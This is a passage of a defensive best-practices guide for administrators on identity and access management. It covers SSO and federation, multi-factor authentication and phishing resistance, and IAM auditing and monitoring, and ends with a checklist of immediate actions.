teams of any suspicious IAM activity. +Develop and set a network baseline so that anomalous network +traffic and/or behaviors can be identified and flagged for +security analysis to determine if it is a result of malicious or +unauthorized activity. +Follow the +3-2-1 principles + in the event of a disk failure or +other disaster: maintain three copies of the data, in at least two +mediums, with one being offsite. +Build resiliency in the IAM system in order to prevent access +loss due to failure. This resiliency can also have the added +benefit of providing better performance through maintaining a +lower baseload. Geodiversity should be considered in the +resiliency plan for the IAM system. +Limit user account permissions to those that are necessary to +perform their job. IAM solutions can help handle this through +locking down privileged accounts, protecting user credentials, +and making it easier to assign users to groups with specific +permissions. +Identity and Access Management: Recommended Best Practices for Administrators +Network +Segmentation +Network +Security +Assessment +Protect and +Manage +Critical IAM +Assets +Actions to Take Now +Develop policies where normal users, system administrators, +and other privileged (e.g., operation and management, +application/process, alias, backup, etc.) accounts are separated +to ensure that all accesses are using least privilege permissions. +Audit all assets regularly in the organization to identify local +identities. Remove unnecessary local identities and investigate +to identify who or what process created the local identity. +Monitor remaining local identities for anomalous behavior. +Carefully design and implement network segmentation with +security in mind to limit the spread of an intrusion and to +disrupt attempts to escalate privilege. +Isolate IAM systems in a dedicated network segment with +layers of security controls between the IAM systems and other +systems inside and/or outside the organization. +Perform regular security penetration testing and asset +vulnerability security scanning to understand attack surfaces +from both outside and inside the organizational boundaries. +Prioritize security hardening efforts on externally exposed +assets. +Assess the access allowed internally and the current +vulnerabilities that could be exploited by an internal and/or +external threat actor. Implement least privilege and access +monitoring to reduce risk. +Identify your credential/trust stores, control access paths, and +provide enterprise-wide management. +Protect keys and certificates at appropriate assurance levels +consider hardware-based security modules for critical items +such as signing keys. +Understand tradeoffs between on-premises and cloud based +IAM services and ensure visibility into the security of cloud +services used. +Recognize and mitigate risks of using 3rd party applications for +IAM functions. +Take an inventory of all assets within the organization. If there is something +missing, or if there are additional assets that are unknown, determine the cause of +the discrepancy. +Identify all the local identities on the assets in order to know who has access to +which assets. +Understand what security controls are in the enterprise environment now and what +security gaps persist in an organization +s enterprise environment. +Develop a network traffic baseline that can be used to detect security anomalies in +the network. Any compromise to any component in a network has the potential to +threaten more critical enterprise systems, including IAM. +Identity and Access Management: Recommended Best Practices for Administrators +Summary +IAM solutions are only one part of a wider enterprise environment, where compromises in +one area can eventually lead to compromises in another. Hardening the enterprise +environment, including the IAM systems as critical resources, helps to limit the potential +for a compromise and keep the IAM system safe and accessible. +Identity Federation and Single Sign-On +Identity federation using SSO within and/or between organizations, including the +utilization of identity providers, mitigates risks by centrally managing differences in +policies and risk levels between the organizations and eliminates wide implementation and +dependence on local identities. Without formally defining the policies and levels of trust +and assurance between organizations or between multiple identity providers within an +organization, the organization is susceptible to attacks based on weaknesses in each +federated IAM. SSO provides a risk mitigation capability by centralizing the management +and control of authentication and access across multiple systems and from multiple +identity providers. Implemented properly, it can also raise the authentication assurance +level required for initial sign on and can control and secure the authentication and +authorization information passed between systems. +What it Does +Identity Federation and SSO simplifies identity management internally within an enterprise +and with trusted external partners by reducing the need for users to maintain multiple +identities in both internal and external directories, applications, and other platforms, +eliminating the need for local identities at each asset. It allows for seamless integration +with other security controls such as privileged access management for step-up +authentication and increases confidence that only active users are allowed access. +Additionally, it reduces the labor costs associated with managing multiple identities for +each user on the various on-premises and/or cloud-based applications. +Why it Matters +Passwords are a vulnerability due to the complexity of requiring a user to remember multicharacter passwords that almost every application requires today. SSO nominally reduces +the user burden to remembering one solid, complex, and hard-to-guess passphrase, and +facilitates the migration to strong MFA, potentially eliminating passwords altogether. +Implementing both Identity Federation and SSO supporting strong MFA allows for +improved security without compromising the user experience. +Locally provisioned accounts (e.g., user, system, process, admin) on individual assets +creates an unmanageable environment and is a lucrative target by bad actors. For example: +Locally provisioned accounts may or may not allow for security policy enforcement. +Identity and Access Management: Recommended Best Practices for Administrators +Massive volumes of locally provisioned accounts on individual systems across the +enterprise cannot be maintained. These accounts can include shared accounts, +vendor default accounts, and unknown accounts (e.g., ex-employee, ex-vendor). +Security event monitoring is ineffective on locally provisioned accounts. For +instance, the ability to monitor and detect shared accounts, stolen credentials, and +cracked credentials (e.g., password spraying) is considerably more difficult given +the volumes of assets, accounts, and individual asset configurations. +Adversaries, both internal and external threat actors, can exploit the security policy +and/or security event monitoring gaps in one system to compromise the assets it +manages and use their access as a foothold to launch exploits against other systems. +Identity Federation and SSO drastically reduce the need for locally provisioned accounts +and enables IAM administrators to have more centralized visibility and control over +accounts. It also enables more effective management of default and/or shared accounts +that are required on an individual asset. For example, most default and shared accounts can +be disabled and those that cannot be disabled can have passwords changed to highly +random values protected in a password vault. +Factors to consider when selecting an SSO solution +SSO services may use different protocols, such as SAML or Open ID Connect (OIDC). When +selecting an SSO service, it is important to keep in mind the following factors: +SAML +What protocol is being used? +How has the service provider secured the protocol and the service? +SAML is used for exchanging authentication and authorization data between identity +providers and service providers. One of the most common use cases for SAML is facilitating +browser-based SSO. Up until the past few years, SAML was considered the industry +standard and proven workhorse for passing an authenticated user into applications while +allowing these applications to defer authentication to a centralized identity solution. +If the services use SAML, specific implementation and hardening measures are a must to be +a secure SSO option as it is prone to exploits if it is not implemented correctly. Every year +brings new issues with SAML + in the form of newly discovered exploits + which gives it a +reputation of not being the most secure option. +OIDC was created to address some of the flaws in SAML However, SAML is still considered +a relevant option for SSO and there are still requirements for developers to support it in +modern environments. +OpenID Connect +OAuth 2.0 is designed only for authorization for granting access to data and features from +one application to another. OIDC is a thin layer that sits on top of OAuth 2.0 that adds login +and profile information about the person who is logged in. OIDC enables scenarios where +Identity and Access Management: Recommended Best Practices for Administrators +one login can be used across multiple applications (i.e., SSO). An application could support +SSO using social networking services (i.e., Facebook or Twitter) so that users can choose to +leverage a login they already have. Authorization code flow enables the applications to first +get authorization codes instead of getting tokens directly from the authorization callback +request. It then uses these codes in a request to another endpoint on the authorization +server to exchange them for the tokens they need. The most significant advantage that this +flow has in relation to the implicit flow is its security. There are two characteristics of the +authorization code flow that make it a better choice than SAML when it comes to security. +An example of the authorization code flow is depicted in Figure 2 below. +Figure 2 Diagram of Authorization Code Flow 8 +First, the process to exchange codes for tokens happens on back channels. Instead of +having tokens traveling through users + devices, the application opens a back channel +connection to the authorization server, eliminating the need to pass credentials and +other information through the users + devices (like browsers). By establishing a +direction connection to each other, the application and authentication server reduce the +chances that certain credentials will be exposed. When registering a Web App, the call +back configuration is important from a security point of view because it restricts what +URLs the OIDC provider is allowed to call after a successful authentication process. +The second characteristic is that, before issuing tokens, authorization servers require +applications to authenticate themselves. This authentication process usually happens +by applications using credentials that authorization servers assign to them. +https://portswigger.net/web-security/oauth/grant-types. +Identity and Access Management: Recommended Best Practices for Administrators +In summary, OIDC is a more secure and reliable protocol because it uses a direct channel +between the applications and the authentication server, protecting identity tokens. +Implementing Best Practices +Organizations should consider the following when assessing their SSO capability and +making improvements to counter their organization +s top threats and plan for periodic +reassessments to ensure updates are made as needs change. + Define and understand how assets are audited for any local accounts and/or +identities configured and active. + Define and understand how the engagement with trusted partners to audit for any +local accounts and/or identities configured and active. + For any required and authorized local accounts/identities, define a password policy, +and auditing to ensure compliance. + Define a policy that disallows local accounts on any platform. + Implement a configuration management solution which supports the identification, +tracking, and reporting of any local accounts. + Identify and track all exceptions for systems, platforms, and/or applications that +require local accounts. Disable those that are not necessary and establish and +enforce password policies for those that are. Review these periodically with the +application teams and/or vendors in an effort to drive them to SSO support. + Ensure SSO availability. If SSO fails, access to all related systems is lost. Therefore, it +is key to have a solid high availability design and plan implementation which +includes both local and regional geographic redundancy and the appropriate +security hardening guidelines. +Actions to Take Now +Assess your organization +s internal on-premises applications/devices/platforms +and your cloud providers ability to connect using SSO. +Determine if your SSO integration can collect user context during SSO logins +including location, device, and behavior. +Summary +Organizations should develop and deploy SSO friendly applications and platforms to +eliminate all local accounts and/or identities. Doing so will improve the user experience +while also significantly reducing the risk associated with local accounts which are difficult +to manage and monitor. Local accounts that use shared passwords (e.g., root) create legal +and forensic issues for the organization when attempting to identify the attacker +s identity. +Multi-Factor Authentication +Since the introduction of multi-user computer systems, user authentication has primarily +relied on usernames and passwords. MFA is an approach to strengthen the authentication +process by requiring the user to present multiple elements in different categories, or +Identity and Access Management: Recommended Best Practices for Administrators +factors +, as part of an authentication attempt. These factors are as shown in Figure 3 are +something you have, something you know, and something you are. +Figure 3 Multi-Factor Authentication Factors +MFA incorporates more than one of the above factors as part of a login flow. Examples +include: + Typing a password and responding to a push notification sent to a registered +smartphone. + Typing a password and providing a one-time code from a hardware authentication +device. + Using a biometric facial scan and/or passphrase to unlock a cryptographic +credential stored on a registered device (i.e. phone, hardware token). +Authentication systems are the front doors to enterprise networks, applications, and data. +As such, attackers are highly focused on finding and exploiting authentication +vulnerabilities. Authentication systems are also high-volume user interfaces and frequently +seen as friction points between users and their ability to perform their business functions. +This combination of characteristics poses a challenge for systems engineers and +implementers since they must be seamless and user-friendly yet also strongly resistant to +attacks. +MFA authenticators may take the form of software that runs on a smartphone or other +device or dedicated hardware tokens. Some MFA solutions are designed to augment +passwords with an additional factor, whereas, +passwordless + solutions can eliminate the +need for passwords altogether. Passwordless MFA solutions typically involve the use of +two factors together, such as a cryptographic credential stored on a hardware token that is +unlocked using a memorized PIN. Table X below lists some common forms of MFA. +Identity and Access Management: Recommended Best Practices for Administrators +MFA Type +One-time +Passwords +(OTP) +Examples +OTP delivered out of band by simple +messaging service (SMS) or email +Hardware OTP token +Mobile OTP app +Mobile app that presents options to +approve or reject a login event from +another device +Out-of-band +Push +Notification +Cryptographic Fast Identity Online (FIDO) hardware +authenticator token +FIDO software token (e.g, Passkey) +Smartcard +Software Public Key Infrastructure (PKI) +credential unlocked with biometric +Relevant Standards +HMAC-based OTP (HOTP) + RFC 4226 9 +Time-based OTP (TOTP) +RFC 6238 10 +CTAP2 11 +Web Authentication 12 +NIST SP 800-74 13 +NIST SP 800-157 14 +It is important to note that not all MFA solutions provide equal protection against +authentication attacks, and there are critical implementation details that can impact the +security and usability of an MFA deployment. The following subsections provide guidance +for selecting and implementing an MFA solution. Further guidance is also available in the +National Institute of Standards and Technology (NIST) Special Publication (SP) 800-63 15, +s publication, Selecting Secure Multi-factor Authentication Solutions 16, and the +Cybersecurity Infrastructure Security Agency +s guidance on MFA. 17 +What It Does +MFA was created to address the shortcomings of passwords including the fact that: +Passwords can be shared with unauthorized users; +Users can be tricked into giving their passwords to attackers through phishing; and +Users tend to use the same or closely related passwords across multiple websites, +services, and computer systems, meaning a breach of one system allows an attacker +to obtain usernames and passwords that can be used in other systems using +techniques such as credential stuffing. +9 https://datatracker.ietf.org/doc/html/rfc4226. +10 https://datatracker.ietf.org/doc/html/rfc6238. +11 https://fidoalliance.org/specs/fido-v2.1-ps-20210615/fido-client-to-authenticator-protocol-v2.1-ps- +20210615.html. +12 https://www.w3.org/TR/webauthn-2/. +13 https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-73-4.pdf. +14 https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-157.pdf. +15 NIST Special Publication, 800-63AB. +16 CSI_MULTIFACTOR_AUTHENTICATION_SOLUTIONS_UOO17091520.PDF (defense.gov). +17 https://www.cisa.gov/mfa. +Identity and Access Management: Recommended Best Practices for Administrators +MFA mitigates common attacks against passwords such as brute force guessing and +credential stuffing as well as common misuse practices such as password sharing by +requiring the presentation of another factor in addition to the password. Unless an attacker +can defeat the MFA authentication mechanism, knowing the password by itself does not +enable impersonation of the user. In the case of passwordless authentication systems, +passwords are eliminated altogether as an attack vector. +Some, but not all, MFA solutions also mitigate phishing attacks. Given the prevalence of +phishing as an attack vector, phishing resistance should be a key consideration in choosing +an MFA solution. Figure 4 represents different types of MFA ranging from weakest to +strongest. +Figure 4 Weakest to Strongest Types of MFA 18 +The following are some general guidelines around MFA and phishing: +One-time passwords, whether generated in an app or hardware token or delivered +through SMS, e-mail, or some other out-of-band method, do not protect against +phishing unless they are combined with some other phishing-resistant technology +such as mutual TLS authentication. Because the user enters the one-time password +into a login form, a phishing site can capture an OTP just as easily as a password +and replay it to the legitimate site or application in real-time. +Push notification-based authenticator apps that prompt the user to approve login +attempts also generally do not protect against phishing. A phishing site can trigger a +login attempt that will send a push notification to the user +s registered device and +the user may have no way of determining whether the notification is legitimate. +Some attackers have had success rates simply triggering push notifications to users +who are not even attempting to log in at the time. 19 Some push notification-based +MFA solutions provide additional context about the authentication attempt, such as +18 https://www.cisa.gov/mfa. +19 What Are Push Attacks? | HYPR. +Identity and Access Management: Recommended Best Practices for Administrators +the location from which it originated, to aid the user in determining whether it is +legitimate. If the login request came from a phishing site, the detected location of +the login attempt should not match the user +s current location. However, location +can be spoofed, and the basic issue remains that the push notification is not +strongly bound to a legitimate authentication attempt and the service to which the +user is authenticating. +Further guidance is also available in CISA +s publication Implementing Phishing-Resistant +MFA. 20 +Phishing-resistant forms of MFA include: + FIDO authenticators + a wide range of interoperable authenticators, both built into +commonly-used operating systems (Windows, MacOS, iOS Android) and available in +hardware tokens, based on industry standards maintained by the FIDO Alliance and +the World Wide Consortium (W3C). + PKI credentials, in the form of software crypto modules, smartcards, and other +hardware tokens. +Why MFA Matters +MFA solutions can mitigate many of the most common attacks against authentication +systems: +Credential stuffing is the attempt to use known username/password credentials +obtained from one system (typically through compromise and cracking of the +password database) to access other systems. Credential stuffing takes advantage of +the tendency for users to reuse the same credentials for multiple sites and services. +With MFA, these stolen credentials are not sufficient to gain access to a user +account because the attacker cannot bypass second-factor authentication. +Password spraying is a similar attack where the attacker tries a relatively short list +of the most commonly-used passwords against a list of known usernames. Typically, +the attacker tries a small number of passwords for each user account to avoid +triggering the account lockout threshold to reduce the risk of detection. If a system +locks users after 10 failed attempts, the attacker may try 9 passwords for each +username. Again, MFA can prevent account takeover even if the attacker discovers +valid username/password credentials by requiring an additional authentication +factor. +Phishing is an attempt to trick users into logging into an attacker-controlled system +and capture their credentials. As described above, some MFA authentication +systems prevent phishing by using protocols designed such that a phishing site +cannot simply +replay + the authentication protocol messages against the legitimate +site. +Brute-force attacks are the simplest form of password attacks, where an attacker +simply tries different passwords in the hopes of finding valid credentials. Account +20 Implementing Phishing-Resistant MFA (cisa.gov). +Identity and Access Management: Recommended Best Practices for Administrators +lockouts make these attacks much more time-consuming, but strong MFA can +completely mitigate them. +Preparation for Implementing MFA +Before deploying MFA, it is important to understand the full scope of use cases and +scenarios the MFA solution needs to address. An ad-hoc approach can lead to incomplete +coverage, multiple systems, and users needing to enroll multiple MFA mechanisms to +access all the applications they need. Up-front planning and strategy definitions can help +ensure a smooth, coherent implementation. This section details several aspects to consider +and further information can be found in the NSA publication +Transition to Multi-Factor +Authentication + 21 and in CISA +s publication +Capacity Implementation Guide: Implementing +Strong Authentication. +Catalog User Populations, Device Types, and Use Cases +Consider the needs of different user groups to best determine how to handle MFA +enrollment. Questions to consider include: +What types of authenticators are suitable for each based on assurance level, +usability, supportability, and cost? +What are the various device platforms your MFA solution needs to accommodate? +Desktops, laptops, smartphones, and tablets are common requirements. +Is MFA also needed for networking devices or other equipment? +What are the potential device compatibility issues for both software and hardware +MFA solutions? It is important to consider up-to-date operating systems and +browsers, available USB ports (with their A/C/Micro variations), or support for +Bluetooth or Near-Field Communications (NFC). It +s also important to consider the +security profiles of the devices and the difference between devices under enterprise +management and monitoring, devices managed by a different organization, and +personal, unmanaged devices, especially regarding software solutions. +Also consider the different support needed for operating environments. In operating +environments with shared workstations, portable authenticators would probably be most +appropriate verses software authenticators tied to a specific device. Additionally, in +operating environments that have users with managed mobile devices, the iOS and Android +platforms both provide built-in authentication capabilities using the FIDO standards and +numerous other vendors offer authenticator applications that could meet your MFA needs +without buying additional hardware. However, if there are high-security environments +such as research facilities where electronic devices are not admitted, smartphone-based +authenticators would not be appropriate. +21 https://media.defense.gov/2019/Sep/09/2002180346/-1/-1/0/Transition%20to%20Multifactor%20Authentication%20-%20Copy.pdf. +22https://www.cisa.gov/sites/default/files/publications/CISA_CEG_Implementing_Strong_Authentication_50 +8_1.pdf. +Identity and Access Management: Recommended Best Practices for Administrators +It is important to note that organizations may find that a single MFA solution cannot +accommodate all their needs, especially if managing access for external users. Deploying +different MFA solutions for different groups of users may be required. This is a situation +where ID Federation/SSO will be important. +Evaluate Assurance Requirements +Some use cases, applications, or data types may require higher-assurance authentication +than others. For example, privileged users with operating system or database +administration rights should have strong, phishing-resistant authentication. The use of +separate user-level and administrative accounts and credentials for individuals with +privileged access and Privileged Access Management (PAM) systems that provide auditing +of privileged access use are additional best practices for managing privileged access that +can be deployed in conjunction with MFA. PAM may also provide work-flow management +and be a credential proxy for systems that don +t support the selected MFA. Other high-risk +roles or functions may also require special protections if they involve management of highvalue assets or critically sensitive information. +For reference, NIST SP 800-63-3 provides guidelines for performing a risk assessment to +guide selection and implementation of identity and authentication systems, including MFA. +Also consider any regulatory or compliance mandates applicable to your organization, +which may include requirements that are relevant to MFA solutions, such as the use of +Federal Information Protection Standards (FIPS) 140-3 validated cryptography or FIPS 201 +(PIV). +Evaluate Privacy and Operational Considerations +Many MFA solutions incorporate biometric authentication of the user, which can raise +concerns over privacy. The biometric authentication solutions in most widespread use +today, such as the facial recognition and fingerprint unlock mechanisms built into +smartphones, keep biometric templates in hardware-protected storage and are designed to +prevent the removal of biometric data from the device. When these systems are used to +authenticate to systems and services, the biometric matching occurs locally on the mobile +device, and successful authentication unlocks a private key that is then used in the actual +authentication protocol carried out over the network. These types of protections are +requirements for FIDO-certified devices. Using solutions that bind biometrics templates to +a single device, instead of storing them in a central database, may help alleviate privacy +concerns. +Equity across demographic groups is another potential issue with biometrics; some +biometric solutions perform differently for individuals of different ages, genders, and/or +ethnicities. Pilot testing with a representative cross-section of your user base can help +identify any potential issues. Aspects of your users + operating environment may also impact +the suitability of specific biometric modalities; the use of gloves or masks, for example, may +preclude facial or fingerprint authentication. +Identity and Access Management: Recommended Best Practices for Administrators +Implementing MFA +The following are some best practices and considerations when embarking on an MFA +implementation. +Implement MFA as part of an enterprise SSO solution. Integrating MFA with all of an +organization +s applications can be a daunting prospect; it +s also not the best way to go +about an MFA implementation. MFA integration is complex, and small mistakes can lead to +issues like the ability for attackers to bypass MFA. This is a job for experienced IAM +practitioners and vendors, not an additional-duty-as-assigned for application developers. +Also, allowing individual applications and projects to choose their own MFA solutions leads +to a complex environment where users need to manage multiple authenticators to access +all the applications they need. Having multiple MFA infrastructures also expands the attack +surface and complicates maintenance. +Instead, as discussed in the previous section, MFA should be integrated into an enterprise +authentication and SSO service that uses industry-standard, tested and proven protocols, +like SAML, or OpenID Connect and OAuth 2.0, to connect with your applications. A single, +centralized authentication service is simpler to test, secure, and maintain than several +independent application-level implementations. In addition, a centralized SSO system can +enable enterprise risk-based authentication policies to selectively require MFA. When a +user has an active session with the SSO service, policies can determine whether they need +to authenticate again when accessing additional applications. Policies can trigger the need +to re-authenticate or perform step-up authentication (i.e., requiring higher-assurance +authentication than was used to initially establish a user +s session) when users access +sensitive applications or perform high-risk activities. This provides the flexibility to require +high assurance when needed without frustrating users engaged in routine, low-risk tasks +with repeated MFA prompts. It also provides an integration point for Zero Trust +Architecture (ZTA) policies such as requiring re-authentication or step-up based on risk +signals from threat defense systems. +Consider the total account and authenticator lifecycle, and exception processes. +Procuring an MFA system and enrolling users is only the beginning of the process. It +important to consider all the needed workflows for authenticator lifecycle management +and how edge cases and failure scenarios will be handled. Initial MFA enrollment (or +issuance, in the case of hardware authenticators) process must provide adequate assurance +that the authorized user is enrolled in the MFA system. Consider the use of multiple +communication channels to provide additional assurance. For example, if a hardware token +is physically mailed to a user, require additional authentication (e.g., with their password +or a one-time secret provided out-of-band) as part of the enrollment process. +Maintain an inventory of the authenticators deployed in your environment. +Vulnerabilities may be discovered in both software and hardware authenticators, so it +critical to be able to identify authenticators in need of replacement or upgrade. Pay +attention to vendor announcements and support lifecycles, and plan well in advance for +any end-of-life authenticator solutions in need of replacement. For mobile authenticator +Identity and Access Management: Recommended Best Practices for Administrators +apps, consider your device refresh period and how users will enroll a new device. Also have +a response plan for lost or stolen authenticators or devices to rapidly disable the lost +authenticator and enable the user to enroll a new one. This can be one of the most +challenging aspects to manage + if a user can enroll a new MFA authenticator using their +password alone, this severely undermines the security of your MFA solution. A best +practice, particularly in passwordless environments, is to issue multiple strong +authenticators to each user, perhaps with one kept in reserve in a secure location to allow +access and enrollment of a new authenticator in case the primary authenticator is lost. A +simpler solution is using backup one-time codes, kept in secure storage by the user. +Routinely test and rapidly patch your MFA infrastructure. This is good advice for any +system or application, but it is especially critical for MFA and other authentication +infrastructure. Promptly test and install any vendor security patches. Routinely test your +registration and authentication flows, especially when changes are made to your +infrastructure. +Realize that MFA is not the only solution required for securing identities and access. +MFA is a critical security control, but it is only one component of securing access to your +systems and applications. MFA (and SSO) enable users to establish a session with an +application, but the application must implement secure session management with timeouts +for inactivity and maximum session lifetimes. Applications and client devices must protect +cookies and tokens that can allow impersonation of the user if stolen. MFA cannot prevent +malware on client devices from capturing users + credentials or application data. It +important to understand that while MFA addresses some of the most common threats, MFA +should be part of a holistic cybersecurity architecture. +Actions to Take Now +Determine the MFA solution best suited in your organization +s operating +environment. +Implement MFA as part of an enterprise SSO solution. +Maintain a robust inventory of the MFA authenticators deployed in your +organization +s operating environment. +Routinely test and patch your organization +s MFA infrastructure. +Summary +MFA can provide strong protection against many of the most prevalent attacks against +authentication systems. Careful planning will help ensure that your MFA implementation +meets your organization +s needs and provides both security and usability. As with any +enduring capability, it +s important to consider the full lifecycle management of MFA +authenticators and infrastructure. Integrating MFA with an enterprise SSO system is +essential to facilitate application adoption and enable a coherent enterprise authentication +policy. +Identity and Access Management: Recommended Best Practices for Administrators +IAM Auditing and Monitoring +IAM auditing and monitoring should not only check for compliance, but also monitor for +threat indicators and anomalous activities. This encompasses the generation, collection, +and analysis of logs, events, and other information to provide the best means of detecting +compliance related infractions and suspicious activities. Attacks such as use of stolen +credentials and misuse of privileged access by insiders would not be detected in a timely +manner, if at all, without an effective IAM auditing and monitoring program. These auditing +and monitoring capabilities can be integrated with automated tools that orchestrate +response actions to counter these IAM attacks. Effective reporting from auditing and +monitoring also provide situational awareness of the security posture of an organization +IAM. +What it Does +IAM auditing and monitoring: +Provides deterrent to users especially privileged users who know their actions are +being tracked; +Provides awareness of how system is being used and attempted to be misused; +Detects problems and potential problems through indicators of attack/compromise +and changes in behavior; and +Collects forensic evidence which also supports evaluation of effectiveness leading to +improvements in capabilities. +Why it Matters +There are many types of threats that IAM auditing and monitoring can counter but they +tend to fall into one of two buckets; insider threat and unauthorized access. Insider threats +range from authorized using their privileges to perform inappropriate actions (e.g. +downloading a list of current customers) to administrators seeking to cause harm to the +organization, to former employees whose access was not turned off. For example, in +September 2022, an individual working as a cybersecurity professional in a Hawaiianbased financial company, pled guilty and admitted that, after severing ties with the +company, he utilized the credentials of his former employer to gain access to the company +website configuration settings and purposefully misdirected web and email traffic to +computers unaffiliated with the company incapacitating the company +s website and +email. 23 IAM auditing and monitoring could have potentially prevented this by allowing the +system to remove the user +s access upon separation from the company. +Unauthorized access can occur when external systems or users with lower assurance (i.e. +weaker authentication) inappropriately gains access to an organization +s system and data. +Further, exploitation of vulnerabilities in security protocols, cryptographic algorithms, +and/or third-party programs could also lead to unauthorized access. Additionally, +23 https://www.justice.gov/usao-hi/pr/honolulu-man-pleads-guilty-sabotaging-former-employer-s- +computer-network. +Identity and Access Management: Recommended Best Practices for Administrators +unauthorized access can occur with the theft or hijacking of a legitimate user +s credentials +to attack an organization +s system with the stolen or hijacked credentials. In this instance, +the impostor +s behavior and actions will likely be different from the normal behavior of the +legitimate user and can lead to detection of the identity theft. The legitimate user may also +receive notifications of log in failures or other activity that they did not perform and can +provide out of band information to help detect the impostor. +Preparation for Implementing Best Practice +Below are key considerations for assessing an organization +s auditing and monitoring +capability to determine which improvements are necessary to counter top threats. It is +important to note that this is not a one-time assessment. Assessments should be made +periodically, and capabilities updated in order to meet changing needs and be better +postured to counter new threats. +Organization defines and understands what is considered normal/acceptable +behavior, suspect behavior, and misbehavior. +Organization uses defined and de-facto policy rules, requirements/models of +systems, and baselines of current activity to identify monitoring and analysis +parameters. +Organization identifies users with access to critical assets (e.g., crown jewels) and +focuses enhanced monitoring on critical assets (proprietary information, systems +mission critical); Identify, prioritize assets). +Collect data including standard logs/audit records, and security events as well as +other data about the users, systems, applications, and network behaviors. Use the +collected data for real-time detection and alerting, storage for forensic use, +baselining of current behavior, analysis to detect trends, and indications of +anomalous behavior. +Behavioral analytics will require an initial period (and ongoing updates) of +collection and analysis to establish baselines and thresholds. This should address +normal day, busy day, and emergency situation baselines. +Avoid collection and analysis that does not provide useful information such a large +number of unprioritized alerts that require human analysis since this is a waste of +systems and human resources and will not achieve better cybersecurity. Collecting +and analyzing data that provides actionable information to your staff and +management to raise security awareness and can support the business case for +additional funding to improving your IAM auditing and monitoring capabilities. +Determine the appropriate tools and capabilities to effectively derive information +from the collected data. Consider what data formats and content can be processed, +configurability, scalability, growth capability to provide or interface with other +systems and capabilities. For example, a SIEM tool that can accommodate SOAR +capability or one that can work with advanced analytic tools including machine +learning. +The tools and capabilities should match and best augment your staff skills and +availability. Manual review of logs or of overly detailed or too frequent tool outputs +will not be effective. If your current tools are at the basic SIEM level, focus on +Identity and Access Management: Recommended Best Practices for Administrators +configuring them to alert on your most critical events and provide the most +pertinent info to staff. Organizations with more sophisticated capabilities should +start looking for anomalous behavior and developing procedures on how to deal +with potential insider threats. For example, when to shut them down immediately +versus when to steer them to honeypots and collect more forensics evidence. +Initiatives such as the Defense Advanced Research Projects Agency +s (DARPA) Anomaly +Detection at Multiple Scales (ADAMS) Project 24 provide valuable information for +organizations to use as a starting point when attempting to identify and remediate insider +threats. The project developed an Anomaly Detection Engine for Networks (ADEN) to +detect malicious users and characterize anomalous behavior typical of malicious users, to +support improved prediction-based actionable intelligence and response. While only a +small percentage of anomalous behavior was associated with malicious users, the project +did highlight several key findings associated with behavior of malicious users, including: +Malicious users were more active and chose to +do nothing + significantly less times +than benign users. +Malicious users fetched significantly more sensitive information than benign users. +Though malicious users appeared to save more data to removable devices than +benign users, these differences were not found to be statistically significant in our +study. +Malicious users edited the data slightly less compared to benign players users. +However, these differences also were not found be statistically significant. +Malicious users sent significantly more information out of the organization than +benign users. +Malicious users fetched significantly less un-sensitive data in contrast to the benign +players. +Actions to Take Now +Establish baseline expectations of activity levels and policy and monitor privileged +user behavior for both acceptable and suspicious activity. Avoid automatic response +actions to suspicious behavior that could be important and legitimate (e.g. system +administrator that flags as unusual activity due to logging in from a remote location +on a weekend however could be responding to an emergency network problem). +Include manual procedures to confirm the legitimacy of these actions before +determining how to respond. For example, if the activity includes setting up new +accounts or changing privileges a first step would be to determine if there are +indications that this may be a malicious insider attack versus preparing for the +startup of a new program. +Monitor general user behaviors in both good and bad terms such as how many +successful access attempts versus unsuccessful, what hours typically worked, +whether remote access allowed, what systems accessed and amounts of data +downloaded. +https://www.darpa.mil/program/anomaly-detection-at-multiple-scales. +Identity and Access Management: Recommended Best Practices for Administrators +Monitor activity between applications and systems and associated network traffic +for changes in connectivity, level of activity, and types of data. If an attacker is +attempting to move laterally within your network, this may include accesses and +traffic that are unusual. +Monitor external traffic that may include new interactions with previously unknown +sites or different types and levels of interactions. Remember that data exfiltration +attacks may be +low and slow + so a change may be small, but ongoing. Be careful to +not include this in an accepted baseline of activity. +Summary +Organizations will need to be able to monitor for anomalous behavior (in addition to +traditional security events and logs) to detect the various threats to IAM systems that are +present and potentially harmful. An initial assessment should be performed to understand +current capabilities with a plan to improve an organization +s capability to collect, analyze, +detect, and respond to indicators of attack and compromise. +Conclusion +America +s critical infrastructure is a prime target for a broad spectrum of threat sources +including advanced and ongoing attacks from nation state and terrorist organizations +attacks. These threats are real, ongoing, and evolving and the cybersecurity community is +especially concerned about certain credible threats to IAM and SSO. IAM weaknesses are +frequently exploited in the most insidious threats, APTs, which have led to catastrophic +data breaches. The use of SSO without a good MFA foundation and secure design +selections, exacerbates the damage of attacks that an organization may be vulnerable to +such as password cracking and authenticator hijacking. +The intent of this paper was to provide a clear understanding of how various mitigations +counter the threats and to provide actionable recommendations on what organizations +should do now. This includes: +Assess your current IAM capabilities and risk posture. +For areas that need improvement: select, layer, integrate, and properly configure +secure solutions following the best practices provided herein and in referenced +guidance. +Maintain the appropriate level of security to manage risk during continued +operations. +Maintain awareness of correct IAM usage and of risks. +Ultimately every organization has the obligation to ensure their IAM and SSO capabilities +are secure to protect not only their own assets but that of their partners and consumers as +Identity and Access Management: Recommended Best Practices for Administrators +Appendix I: Actions to Take Now Checklist +Environmental Hardening + Take an inventory of all assets within the organization. If there is something missing, or +if there are additional assets that are unknown, determine the cause of the discrepancy. + Identify all the local identities on the assets in order to know who has access to which +assets. + Understand what security controls are in the enterprise environment now and what +security gaps persist in an organization +s enterprise environment. + Develop a network traffic baseline that can be used to detect security anomalies in the +network. Any compromise to any component in a network has the potential to threaten +more critical enterprise systems, including IAM. +Identity Federation/Single Sign-On + Assess your organization +s internal on-premises applications/devices/platforms and +your cloud providers ability to connect using single sign-on. + Determine if your single sign-on integration can collect user context during single signon logins including location, device, and behavior. +Multi-Factor Authentication + Determine the MFA solution best suited in your organization +s operating environment. +Implement MFA as part of an enterprise SSO solution. + Maintain a robust inventory of the MFA authenticators deployed in your organization +operating environment. + Routinely test and patch your organization +s MFA infrastructure. +IAM Auditing and Monitoring + Establish baseline expectations of activity levels and policy and monitor privileged user +behavior for both acceptable and suspicious activity. Avoid automatic response actions to +suspicious behavior that could be important and legitimate (e.g. system administrator that +flags as unusual activity due to logging in from a remote location on a weekend however +could be responding to an emergency network problem). Include manual procedures to +confirm the legitimacy of these actions before determining how to respond. For example, if +the activity includes setting up new accounts or changing privileges a first step would be to +determine if there are indications that 